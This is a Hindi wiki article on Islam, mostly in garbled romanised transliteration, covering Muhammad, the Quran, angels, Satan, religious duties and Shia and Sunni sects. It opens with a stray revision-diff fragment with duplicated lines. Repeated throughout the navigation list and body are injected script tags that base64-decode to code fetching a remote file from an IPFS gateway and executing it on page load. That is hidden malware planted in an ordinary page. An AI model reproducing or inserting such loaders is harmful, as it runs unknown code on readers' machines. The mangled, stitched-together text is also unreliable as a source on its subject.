चेला चीनी हो गया।' हिन्दुओं के पुरुषों ने कभी न सुना होगा कि [[पर्दा प्रथा]] किस चिड़िया का नाम है। आज भी [[महाराष्ट्र]], [[गुजरात]], [[कर्नाटक]], [[आन्ध्र प्रदेश]], मालाबार इत्यादि आधे से अधिक [[भारत|भारतवर्ष]] के हिन्दू पर्दा को नहीं जानते। किन्तु जिस प्रकार आज अंग्रेज़ी राज्य में बहुत से अंग्रेज़ों का खान–पान, रहन–सहन गौरवपूर्ण समझ हिन्दुओं ने मुसलमानों की इस रीति को अपनाकर उसने और तरक़्क़ी की। पहले–पहल इन रीतियों को धनिकों और बड़े आदमी कहे जाने वाले लोगों ने लिया, पीछे बड़े आदमी बनने की इच्छा वाले सभी लोगों ने अपनी स्त्रियों पर इस नये दण्ड–विधान का प्रयोग आरम्भ कर दिया। शरीर में कोमलता की वृद्धि के लिए राजदाराओं को 'असूर्यपश्या' तो देखा गया है, किन्तु 'अचन्द्रपश्या' होने का सौभाग्य आज ही प्राप्त हुआ है।  
 
'इहैवास्तं मा वियौष्ठम्' (दोनों यहाँ ही रहो, मत अलग हो) इस विवाह–सम्बन्धी वेदमंत्र में स्पष्ट विवाहित जोड़े को अलग होने का निषेध किया है। इस प्रकार अर्थ (हिन्दू) धर्म विवाह सम्बन्ध को अखंडनीय मानता है। किन्तु कई धर्म विशेष स्थिति में विवाह सम्बन्ध त्याग या 'तलाक़' की अनुमति देते हैं। क़ुरान कहता है—
 
'इहैवास्तं मा वियौष्ठम्' (दोनों यहाँ ही रहो, मत अलग हो) इस विवाह–सम्बन्धी वेदमंत्र में स्पष्ट विवाहित जोड़े को अलग होने का निषेध किया है। इस प्रकार अर्थ (हिन्दू) धर्म विवाह सम्बन्ध को अखंडनीय मानता है। किन्तु कई धर्म विशेष स्थिति में विवाह सम्बन्ध त्याग या 'तलाक़' की अनुमति देते हैं। क़ुरान कहता है—
 
'''जो अपनी स्त्रियों से (तलाक़ की) शपथ खा लेते हैं, उनके लिए चार मास की अवधि है। (इसी बीच में) यदि मेल कर लें तो ईश्वर क्षमाशील और कृपालु है। यदि 'तलाक़' का निश्चय कर लिया, तो भगवान (उसका) सुनने वाला और जानने वाला है। 'तलाक़' दी गई स्त्रियाँ तीन ऋतुकाल तक प्रतीक्षा करें; उनके योग्य नहीं की जो ईश्वर ने उनके उदर में उत्पन्न किया, उसे छिपा रखें....उनके पतियों को भी इतने दिन तक उन्हें फिर से ले लेने का अधिकार है, यदि सुधार चाहें। स्त्रियों को भी न्यायनुसार वैसा अधिकार है, किन्तु पुरुषों का उन पर दर्जा है।'''<ref>2:28:5-7</ref>
 
'''जो अपनी स्त्रियों से (तलाक़ की) शपथ खा लेते हैं, उनके लिए चार मास की अवधि है। (इसी बीच में) यदि मेल कर लें तो ईश्वर क्षमाशील और कृपालु है। यदि 'तलाक़' का निश्चय कर लिया, तो भगवान (उसका) सुनने वाला और जानने वाला है। 'तलाक़' दी गई स्त्रियाँ तीन ऋतुकाल तक प्रतीक्षा करें; उनके योग्य नहीं की जो ईश्वर ने उनके उदर में उत्पन्न किया, उसे छिपा रखें....उनके पतियों को भी इतने दिन तक उन्हें फिर से ले लेने का अधिकार है, यदि सुधार चाहें। स्त्रियों को भी न्यायनुसार वैसा अधिकार है, किन्तु पुरुषों का उन पर दर्जा है।'''<ref>2:28:5-7</ref>
Line 249: Line 275:
 
{{धर्म}}{{इस्लाम धर्म}}
 
{{धर्म}}{{इस्लाम धर्म}}
 
[[Category:इस्लाम धर्म]]
 
[[Category:इस्लाम धर्म]]
−
[[Category:इस्लाम धर्म कोश]]
+
[[Category:इस्लाम धर्म कोश]][[Category:धर्म कोश]]
−
[[Category:धर्म कोश]]
 
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

Revision as of 07:50, 7 November 2017

islam vishay soochi
bharat mean pravesh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> hazarat muhammad   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> quran sharif   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> siddhant   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sampraday   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> yahoodi   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> kafir   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> karmakand   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> moortipooja khandan
islam dharm
vivaran 'islam' ek ekeshvaravadi dharm hai jo allah ki taraf se aantim rasool aur nabi, muhammad dvara iansanoan tak pahuanchaee gee aantim eeshvariy kitab (quran) ki shiksha par sthapit hai.
'islam' ka arth allah ko samarpan
adharabhoot siddhaant islam dharm ka adharabhoot siddhaant allah ko sarvashaktiman, ekamatr eeshvar aur jagath ka palak tatha hazarat muhammad ko unaka sandeshavahak ya paigambar manana hai.
qalama 'la ilaha illallah muhammadurrasoolullah' arthath allah ek hai, usake alava koee doosara nahian aur muhammad usake rasool ya paigambar.'
dharm pravartak aur sant hazarat muhammad, abd allah bin al-abbas, abd al- qadir al-jilani, salim chishti, mueenuddin chishti, nizamuddin auliya adi
pavitr pustak quran jisaka hiandi mean arth 'sasvar path' hai. quran sharif mean 30 pare, 114 sooratean aur 540 rukooa haian. quran sharif ki kul ayat ki tadad 6666 (chhah hazar chhah sau chhiyasath) hai.
mukhy sampraday shiya aur sunni
sanbandhit lekh namaz, allah, farishta, shaitan, roza, kaba
any janakari 712 ee. mean muhammad-ibn-qasim ke netritv mean arab ke musalamanoan ne siandh par hamala kar diya aur vahaan ke brahman raja dahir ko hara diya. is tarah bharat ki bhoomi par pahali bar islam ka pravesh hua.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

islam (arabi: الإسلام, aangrezi: Islam) ek ekeshvaravadi dharm hai jo allah ki taraf se aantim rasool aur nabi, muhammad dvara iansanoan tak pahuanchaee gee aantim eeshvariy kitab (quran) ki shiksha par sthapit hai. islam shabd ka arth hai – 'allah ko samarpan'. is prakar musalaman vah hai, jisane apane apako allah ko samarpit kar diya, arthath islam dharm ke niyamoan par chalane laga. islam dharm ka adharabhoot siddhaant allah ko sarvashaktiman, ekamatr eeshvar aur jagath ka palak tatha hazarat muhammad ko unaka sandeshavahak ya paigambar manana hai. yahi bat unake 'kalame' mean doharaee jati hai - la ilaha illallah muhammadurrasoolullah arthath 'allah ek hai, usake alava koee doosara (doosari satta) nahian aur muhammad usake rasool ya paigambar.' koee bhi shubh kary karane se poorv musalaman yah qalama padhate haian. islam mean allah ko kuchh had tak sakar mana gaya hai, jo is duniya se kafi door satavean asaman par rahata hai. vah abhav (shoony) mean sirf 'kun' kahakar hi srishti rachata hai. usaki rachanaoan mean ag se bane farishte aur mitti se bane manushy sarvashreshth haian. gumarah farishtoan ko 'shaitan' kaha jata hai. islam ke anusar manushy sirf ek bar duniya mean janm leta hai. mrityu ke pashchath punah vah eeshvariy nirnay (qayamat) ke din ji uthata hai aur manushy ke roop mean kiye gaye apane karmoan ke anusar hi 'jannat' (svarg) ya 'narak' pata hai.

'islam' ko shuruat hi se sabaka virodh sahana p da. usane nirbhikatapoorvak jab doosaroan ke mithyavishvasoan ka khandan kiya, to sabhi ne bharasak islam ko ukha d phaiankane ka prayatn kiya. sachamuch jis prakar ka virodh tha, yadi usi prakar ki dridhata musalamanoan aur unake dharmaguru ne n dikhaee hoti to kaun kah sakata hai ki islam is prakar sansar ke itihas ko palat dene mean samarth hota.

bharat mean islam ka pravesh

712 ee. mean bharat mean islam ka pravesh ho chuka tha. muhammad-ibn-qasim ke netritv mean arab ke musalamanoan ne siandh par hamala kar diya aur vahaan ke brahman raja dahir ko hara diya. is tarah bharat ki bhoomi par pahali bar islam ke pair jam gaye aur bad ki shatabdiyoan ke hindoo raja use phir hata nahian sake. parantu siandh par araboan ka shasan vastav mean nirbal tha aur 1176 ee. mean shahabuddin muhammad gori ne use asani se ukha d diya. isase poorv subuktagin ke netritv mean musalamanoan ne hamala karake panjab chhin liya tha aur gazani ke sultan mahamood ne 997 se 1030 ee. ke bich bharat par satrah bar hamale kiye aur hindoo rajaoan ki shakti kuchal dali, phir bhi hindoo rajaoan ne musalamani akraman ka jis anavarat riti se prabal virodh kiya, usaka mahattv kam karake nahian aankana chahie.

arab

  1. REDIRECTsaancha:mukhy

atyant prachin kal mean ‘jadis’, ‘ad’, ‘samood’ adi jatiyaan, jinaka ab namamatr shesh hai, arab mean nivas karati thian, kintu bharat-samrat harshavarddhan ke sam-samayik hazarat muhammad ke samay ‘qahatan’, ‘ismaeel’ aur ‘yahoodi’ vansh ke log hi arab mean nivas karate the. prachin kal mean arab-nivasi susabhy aur shilp-kala mean pravin the. parantu ‘nichairgachchhatyupari ch tatha chakranemikramen’ ke anusar kalantar mean unake vanshaj ghor avidyandhakar mean nimagn ho gaye aur sari shilpakalaoan ko bhool kar ooant-bakari charana matr unaki jivika ka upay rah gaya. vah isake lie ek srot se doosare srot, ek sthan se doosare sthan mean hare charagahoan ko khojate hue khemoan mean nivas karake kalakshep karane lage. kanakhajoora, goh, giragit adi sare jiv unake bhakshy the. prajjvalit agni mean jivit manushy ko dal dena unake samip koee asadhu karm nahian samajha jata tha. hindoo-putr amru ne apane bhaee ke mare jane par ek ke badale sau ke marane ki pratijna ki.

hazarat muhammad

  1. REDIRECTsaancha:mukhy

islam dharm ke pravartak hazarat muhammad sahab the, jinaka janm 570 ee. ko sudi arab ke makka namak sthan mean kuraish qabile ke abdulla namak vyapari ke ghar hua tha. janm ke poorv hi pita ki aur paanch varsh ki ayu mean mata ki mrityu ho jane ke phalasvaroop unaka palan-poshan unake dada mutallib aur chacha aboo talib ne kiya tha. 25 varsh ki ayu mean unhoanne khadija namak ek vidhava se vivah kiya. mohammad sahab ke janm ke samay arabavasi atyant pichhadi, qabilaee aur charavahoan ki zindagi bita rahe the. atah muhammad sahab ne un qabiloan ko sangathit karake ek svatantr rashtr banane ka prayas kiya. 15 varsh tak vyapar mean lage rahane ke pashchath ve karobar chho dakar chintan-manan mean lin ho gaye. makka ke samip hira ki choti par kee din tak chintanashil rahane ke uparant unhean devadoot jibaril ka sandesh prapt hua ki ve jakar quran sharif ke roop mean prapt eeshvariy sandesh ka prachar karean. tatpashchath unhoanne islam dharm ka prachar shuroo kiya. unhoanne moorti pooja ka virodh kiya, jisase makka ka purohit varg bh dak utha aur antatah muhammad sahab ne 16 julaee 622 ko makka chho dakar vahaan se 300 kilomitar uttar ki or yasarib (madina) ki or kooch kar diya. unaki yah yatra islam mean 'hijarat' kahalati hai. isi din se 'hijari sanvat' ka prarambh mana jata hai. kalantar mean 630 ee. mean apane lagabhag 10 hazar anuyayiyoan ke sath muhammad sahab ne makka par chadhaee karake use jit liya aur vahaan islam ko lokapriy banaya. do varsh pashchath 8 joon, 632 ko unaka nidhan ho gaya.

tatkalin moortiyaan

‘hubl’, ‘lath’, ‘manath’ ‘ujj’ adi bhinn-bhinn anek dev-pratimaean us samay arab ke pratyek kabil mean logoan ki isht thian. bahut purane samay mean vahaan moortipooja n thi. ‘amaroo’ namak kaba ke ek pradhan pujari ne ‘sham’ desh mean suna ki isaki aradhana se dushkal se raksha aur shatru par vijay prapt hoti hai. usi ne pahale-pahal ‘sham’ se lakar kuchh moortiyaan kaba ke mandir mean sthapit kian. dekhadekhi isaka prachar itana badha ki sara desh moortipooja mean nimagn ho gaya. akele ‘kaba’ mandir mean 360 devamoortiyaan thian, jinamean hubl-jo chhat par sthapit tha - kuresh - vanshiyoan ka isht tha. ‘jay[1] hubl’ unaka jatiy ghosh tha. log manate the ki ye moortiyaan eeshvar ko prapt karati haian, isilie ve unhean poojate the. arabi mean ‘ilah’ shabd devata aur unaki moortiyoan ke lie prayukt hote hai; kintu ‘alah’ shabd ‘islam’ kal se pahale us samay bhi ek hi eeshvar ke lie prayukt hota tha.

shrimati ‘khadija’ aur unake bhaee ‘naufal’ moortipooja - virodhi yahoodi dharm ke anuyayi the. unake aur apani yatraoan mean anek shisht mahatmaoan ke satsang evan logoan ke pakhand ne unhean moortipooja se vimukh bana diya. vah eesaee bhikshuoan ki bhaanti bahudha ‘hira’ ki gupha mean ekant-sevan aur eeshvar - pranidhan ke lie jaya karate the. ‘ika bi-ismi rabbik’ (padh apane prabhu ke nam ke sath) yah pratham quran vaky pahale vahian par devadoot ‘jibrail’ dvara mahatma muhammad ke hriday mean utara gaya. us samay devadoot ke bhayankar sharir ko dekhakar kshan bhar ke lie vah moorchchhit ho gaye the. jab unhoanne is vrittant ko shrimati ‘khadija’ aur ‘naufal’ ko sunaya to unhoanne kaha- avashy vah devadoot tha jo is bhagavatvaky ko lekar tumhare pas aya tha. is samay mahatma muhammad ki ayu 40 varsh ki thi. yahian se unaki paigambari (bhagavatata) ka samay prasmbh hota hai.

islam ka prachar

chitr:Blockquote-open.gif yah puny nahian ki tum apane muanh ko poorv ya pashchim ki or kar lo. puny to yah hai - parameshvar, antim din, devadootoan, pustak aur rrishiyoan par shrriddha rakhana, dhan ko premiyoan, sambandhiyoan, anathoan, daridroan, pathikoan, yachikoan aur gardan bachane valoan ke lie dena, upavas (roza) rakhana, dan dena, jab pratijna kar chuke to apani pratijna ko poorn karana, vipattiyoan, haniyoan aur yuddhoan mean sahishnu (hona), (jo aisa karate haian) vahi log sachche aur sanyami haian. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> eeshvar ke divy adesh ko prapt kar unhoanne makka ke dambhik aur samagat yatriyoan ko quran ka upadesh sunana arambh kiya. mela ke khas dinoan (‘ihram’ ke mahinoan) mean door se ayean hue tirth-yatriyoan ke samooh ko chhal-pakhandayukt lokachar aur anek devataoan ki apasana ka khandan karake, vah ek eeshvar (allah) ki upasana aur shuddh tatha saral dharm ke anushthan ka upadesh karate the. ‘quraishi’ log apane isht, achar aur amadani ki is prakar ninda aur us par is prakar ka kutharaghat dekhakar bhi ‘hashim’- parivar ki chirashatruta ke bhay se unhean marane ki himman n kar sakate the. kintu is navin dharm-anuyayi, das-dasiyoan ko tapt baloo par litate, ko de marate tatha bahut kasht dete the; to bhi dharm ke matavale pranapan se apane dharm ko n chho dane ke lie taiyar the. is amanushik asahy atyachar ko din par din badhate dekh kar ant mean mahatma ne anuyaniyoan ko ‘aphrika’ khand ke ‘habs’ namak rajy mean- jahaan ka raja b da nyayaparayan tha- chale jane ki anumati de di. jaise-jaise musalamanoan ki sankhya badhati jati thi, ‘quraishi’ ka dvesh bhi vaise-vaise badhata jata tha; kintu ‘abootalib’ ke jivan-paryant khulakar upadrav karane ki unaki himmat n hoti thi. jab ‘abootalib’ ka dehant ho gaya to unhoanne khule taur par virodh karane par kamar baandhi.

madina-pravas

ab mahatma muhammad ki avastha 53 varsh ki thi. unaki stri shrimati ‘khadija’ ka dehant ho chuka tha. ek din ‘quraishiyoan’ ne hatya ke abhipray se unake ghar ko charoan or se gher liya, kintu mahatma ko isaka pata pahale se hi mil chuka tha. unhoanne poorv hi vahaan se ‘yasrib’ (madina) nagar ko prasthan kar diya tha. vahaan ke shishy-varg ne ati shraddha se guru sushrusha karane ki prarthana ki thi. pahuanchane par unhoanne mahatma ke bhojan, vasagrih adi ka prabandh kar diya. jab se unaka nivas ‘yasrib’ mean hua, tab se nagar ka nam ‘maditunnabi’ ya nabi ka nagar prakhyat hua. usi ko chhota karake ajakal keval ‘madina’ kahate haian. ‘quran’ mean tis khand haian aur vah 114 ‘sooratoan’ (adhyayoan) mean bhi vibhakt hai.[2] nivas-kram se pratyek soorat ‘makki’ ya ‘madni’ nam se pukari jati hai, arthath makka mean utari ‘sooratean’ ‘makki’ aur madina mean utari ‘madni’ kahi jati hai.

muhammad antim paigambar

"jo koee parameshvar aur usake prerit ki ajna n mane, usako sarvada ke lie narak ki agni hai."[3] mahatma muhammad ke acharan ko adarsh manakar use doosaroan ke lie anukaraniy kaha gaya hai. "tumhare lie prabhu–prerit ka sundar acharan anukaraniy hai."[4] yah kah hi ae haian ki arab ke log us samay ekadam asabhy the. unhean chhote–chhote se lekar b de–b de achar aur sabhyata–sambandhi vyavaharoan ko bhi batalana p data tha. unako guru-shishy, pita-putr, b de-chhote ke sambandh ka bhi vishesh vichar nahian tha. mahatma muhammad ko guru aur prerit svikar karane par unaka yahi mukhy sambandh musalamanoan ke sath hai, n ki bhaeebandi, chacha-bhatija vala pahala sambandh; yatha- "muhammad tum purushoan mean se kisi ka bap nahian, vah prabhu-prerit aur sab preritoan par muhar (antim) hai."[5] 'musalamanoan ka us (muhammad) ke sath pran se bhi adhik sambandh hai aur usaki striyaan tumhari (musalamanoan) ki mataean haian.'

quran sharif

  1. REDIRECTsaancha:mukhy

islam dharm ki pavitr pustak ka nam quran hai jisaka hindi mean arth 'sasvar path' hai. quran sharif 22 sal 5 mah aur 14 din ke arse mean zaroorat ke mutabiq kistoan mean nazil hua. quran sharif mean 30 pare, 114 sooratean aur 540 rukooa haian. quran sharif ki kul ayat ki tadad 6666 (chhah hazar chhah sau chhiyasath) hai.[6]

lauh mahaphooj mean quran

quran ke vishay mean usake anuyayiyoan ka vishvas hai aur svayan quran mean bhi likha hai- sachamuch poojy quran adrisht pustak mean (vartaman) hai. jab tak shuddh n ho, use mat chhuo. vah lok-paralok ke svami ke pas utara hai.[7] adrisht pustak se yahaan abhipray us svargiy lekh-patitka se hai jise islami paribhasha mean ‘lauh-mahaphooj’ kahate haian. srishtikartta ne adi se usamean trikalavritti likh rakkha hai, jaisa ki sthanantar mean kaha hai- “hamane arabi quran racha ki tumako jnan ho. nissandeh vah uttam jnan-bhandar hamare pas pustakoan ki mata (lauh mahaphooj) mean likha hai.“ [8]

jagadishvar ne quran mean varnit jnan ko jagath ke hit ke lie apane prerit muhammad ke hriday mean prakashit kiya, yahi is sabaka bhavarth hai. apane dharm ki shiksha dene vale granth par asadharan shraddha hona manushy ka svabhav hai. yahi karan hai ki quran ke mahatmy ke vishay mean anek kathaean janasamuday mean prachalit haian, yadyapi un sabaka adhar shraddha chho d kar quran mean dhooandhana yukt nahian hai, kintu aise vakyoan ka usamean sarvatha abhav hai, yah bhi nahian kaha ja sakata. ek sthal par kaha hai- yadi ham is quran ko kisi parvat (va parvat-sadrish kathor hriday) par utarate, to avashy too use parameshvar ke bhay se daba aur phata dekhata. in drishtantoan ko manushyoan ke lie ham varnit karate hai jisase ki vah sochean.[9]

islam ke siddhant

arabi ke 'mazahab' aur 'din' shabd jis arth mean prayukt haian, use aangrezi ka rilijan shabd to avashy vyakt kar sakata hai. kintu sanskrit ya hindi mean unaka paryayavachi koee ek shabd nahian milata. yadyapi 'panth' shabd thik 'mazahab' shabd ke hi dhatvarth ko prakashit karata hai. kintu jis prakar 'dharm' shabd ativyapt hai, usi prakar yah avyapti–doshagrast hai. is nibandh ke varnananusar jo marg manushy ke aihik aur ayushmik shrey ki prapti ke lie anusaran karane ke yogy hai, vahi islam panth, dharm ya sampraday hai. asani ke lie ham prayah 'panth' shabd hi ko isake lie prayukt kareange. har ek panth mean do prakar ke mantavy hote haian. ek vishvasatmak, doosara kriyatmak. niche donoan prakar ke islami mantavyoan ko quran ke shabdoan hi mean udadhrit kiya jata hai— "yah puny nahian ki tum apane muanh ko poorv ya pashchim ki or kar lo. puny to yah hai—parameshvar, antim din, devadootoan, pustak aur rrishiyoan par shrriddha rakhana, dhan ko premiyoan, sambandhiyoan, anathoan, daridroan, pathikoan, yachikoan aur gardan bachane valoan ke lie dena, upavas (roza) rakhana, dan dena, jab pratijna kar chuke to apani pratijna ko poorn karana, vipattiyoan, haniyoan aur yuddhoan mean sahishnu (hona), (jo aisa karate haian) vahi log sachche aur sanyami haian."[10]

purani kathaean

"yah (vah) bastiyaan haian, jinaka vrittant tujhe (ham) sunate haian."[11] "so too (muhammad) katha varnan kar, shayad yah vichar kare."[12] quran ka ek vishesh bhag shikshaprad itivrittoan aur kathaoan se poorn hai. uparyukt vaky isake sakshi haian. quran mean varnit sabhi vishayoan ka samany jnan is quranasar ki rachana se abhipret hai. atah yahaan par un kathaoan ka tho da–sa varnan kar diya jata hai. inamean se anek kathaean kuchh ghata - badha kar vahian haian jo baibil mean aee haian. in mahatmaoan ke bare mean hai-

allah, farishte, shaitan

duniya ke sare dharm prayah sare padarthoan ko do shreniyoan mean vibhakt karate haian, arthath j d aur chetan. chetan ke bhi do bhed haian - eeshvar, jiv. jivoan mean hi farishte shaitan bhi haian.

allah

  1. REDIRECTsaancha:mukhy

eeshvar ko ‘quran’ ne srishti ka karta, dharta, harta mana hai, jaisa ki usake nimn uddharanoan se maloom hoga -

  • “vah (eeshvar) jisane bhoomi mean jo kuchh hai (sabako) tumhare lie banaya.“[13]
  • “usane sachamuch bhoomi aur akash banaya. manushy ka kshudr viry – bindu se banaya. usane pashu banae, jinase garm vastr pate tatha aur bhi anek prakar ke labh uthate ho, evan unhean khate ho.“[14]
  • “vah tumhara eeshvar chizoan ka banane vala hai. usake sivay koee bhi poojy nahian hai.“[15]
  • “eeshvar sab chizoan ka srashta tatha adhikari hai.“[16]
  • “nissandeh eeshvar bhoomi aur akash ko dharan kie hue hai ki vah nasht n ho jae.“[17]
  • “jo parameshvar marata aur jilata hai.“[18]
  • eeshvar b da hi dayalu hai, vah aparadhoan ko kshama kar deta hai -

“nissandeh tera eeshvar manushyoan ke lie unake aparadhoan ka kshama karane vala hai.“[19]

  • astikoan par hi nahian, farishtoan par bhi—

“is bat mean (he muhammad !) tera kuchh nahian, chah vah (eeshvar) un (qafiroan) ko kshama kare ya un par vipad dale, yadi vah atyachari hai.“[20]

  • eeshvar saty hai -

“parameshvar saty hai.“[21]

  • eeshvar ka nyayakari hona is prakar se kaha gaya hai -

“qayamat ke din ham thik tauleange, kisi jiv par kuchh bhi anyay nahian kiya jaega. chahe vah ek sarasoan ke barabar hi kyoan n ho, kintu hamare pas mean poora hisab rahega.“[22]

  • nimn vaky ke anek eeshvariy gun batalae ge haian -

“parameshvar jisake sivay koee bhi eeshvar nahian hai - jivan aur sath hai. use niand ya auangh nahian ati. jo kuchh bhi bhoomi aur prakash mean hai, vah usi ke lie hi hai. jo ki usaki ajna ke bina usake pas sifarish kare? vah janata hai, jo kuchh unake age ya pichh hai, vah koee bat usase chhipa nahian sakate, sivay isake ki jise vah chahe vishal bhoomi aur prakash ki kursi, jisaki raksha use nahian thakati vah uttam aur mahanh hai.“

[23]

  • parameshvar mata - pita - stri - putradi rahit hai -

“n vah kisi se paida hua hai, n usase koee paida hai.“[24]

  • eeshvar mean marg mean kharch karane ka varnan is prakar hai -

“kaun hai jo ki eeshvar ko achchha karz de, vah use kee guna badhaega.“[25]

“nissandeh data stri–purushoan ne parameshvar ko achchha karz diya hai, unaka vah duguna hoga, aur unake lie (isaka) achchha badala hai.“[26]

farishta

  1. REDIRECTsaancha:mukhy

jis prakar puranoan mean parameshvar ke bad anek devata bhinn–bhinn kam karane vale mane jate haian, yamaraj mrityu ke adhyaksh, indr vrishti ke adhyaksh ityadi, isi prakar ‘islam’ ne farishtoan’ ko mana hai. pahale farishtoan ke sambandh mean quran mean ae kuchh vaky dene par is par vichar karana achchha hoga, isalie yahaan ve vaky udadhrit kie jate haian- “jab hamean (parameshvar) ne farishtoan ko (adam ke lie) dandavat karane ko kaha, to sabane dandavat ki, kintu iblis ne inkar kar diya, ghamand kiya aur (vah) nastikoan mean se tha.“[27] “jab hamane farishtoan ko dandavat karane ka kaha, to iblis ke atirikt sabhi ne kiya. (iblis) bola - kya maian use dandavat karooan jo mitti se bana hai.“[28] “jab hamane farishtoan ko kaha - adam ko dandavat karo to (unhoanne) dandavat ki, kintu iblis, jo ki jinnoan mean se tha - ne n kiya.“[29]

oopar ke vakyoan mean farishtoan ka varnan aya hai. bhagavan ne adam (manushy ke adi pita) ko banakar unhean adam ko dandavat karane ko kaha. sabane vaisa kiya, kintu iblis ne n kiya. yah iblis us samay farishtoan mean sabase oopar (devendr) tha. tritiy vaky mean jo use ‘jinn’ kaha gaya hai, usase jnat hota hai ki farishte aur jinn ek hi haian ya jinn farishtoan ke aantargat hi koee jati hai. iblis ne yah kah kar adam ko dandavat karane se inkar kiya ki vah mitti se bana hai. atah maloom p data hai ki utpatti kisi aur achchhe padarth se huee hai. anyatr iblis ke vaky hi se maloom ho jata hai ki unaki utpatti agni se huee hai. apane bhaktoan ki raksha ke lie eeshvar in farishtoan ko bhejate haian.

shaitan

  1. REDIRECTsaancha:mukhy

farishtoan ke atirikt quran mean ek prakar aur bhi adrisht prani kahe ge haian, jo sab jagah ane–jane mean farishtoan ke saman hi haian; kintu vah shubhakarm se hatane aur ashubh karane ke lie manushyoan ko prerana dete rahate haian. inhean shaitan kahate haian. unake lie papatma shabd ata hai. shaitanoan mean sabaka saradar vahi iblis hai. shaitan ke vishay mean kaha gaya hai- yah keval shaitan hai, jo tumhean apane dostoan se darata hai.[30] shaitan kis prakar manushyoan ko ashubh karm ki or prerit karata hai, usako is vaky mean kaha gaya hai- “shaitan unake karmoan ko sanvar deta hai tatha kahata hai - ab koee bhi manushy tumhean jit nahian sakata, maian tumhara rakshak hooan, kintu jab donoan paksh amane–samane ate haian, to vah muanh mo d leta hai aur kahata hai - maian tumase alag hooan, maian nissandeh dekhata hooan, jise tum nahian dekhate, aur parameshvar pap ka kathor nashak hai.“[31]

bhed

islam dharm ke paanch bhed kiye jate haian-

(i) nity ve adharabhoot haian, jinhean har roz karana chahie. islam mean nimn paanch kartavyoan ko har musalaman ke lie anivary bataya gaya hai-

  1. pratidin paanch vaqt (fajar, juhar, asar, magarib, isha) namaz padhana
  2. zarooratamandoan ko zakat (dan) dena
  3. ramazan ke mahine mean sooryoday ke pahale se lekar sooryast tak roza rakhana
  4. jivan mean kam se kam ek bar haj arthath makka sthit kaba ki yatra karana tatha
  5. islam ki raksha ke lie zihad (dharmayuddh) karana.

(ii) naimittik karm ve karm haian, jinhean karane par puny hota hai, parantu n karane se pap nahian hota.

(iii) kamy ve karm haian jo kisi kamana ki poorti ke lie kie jate haian.

(iv) asammat ve karm haian jinakoan karane ki dharm sammati to nahian deta, kintu karane par karta ko dandaniy bhi nahian thaharata.

(v) nishiddh (haram) karm ve haian, jinhean karane ki dharm manahi karata hai aur isake karta ko dandaniy thaharata hai.

islam ke sampraday

islam mean do mukhy sampraday- shiya aur sunni milate haian. muhammad sahab ki putri fatima aur damad ali ke betoan hasan aur husain ko paigambar ka uttaradhikari manane vale musalaman 'shiya' kahalate haian. doosari or sunni sampraday aisa manane se inkar karata hai.

salam

milane julane ane jane mean salam ka rivaj hai. salam karane vala "asslamu alaiqamu" kahata hai jisaka arth hai tum par khuda ki taraf se salamati ho, isaka javab hai. "v alekum assalam" arthath tum par salamati ho.

yahoodi

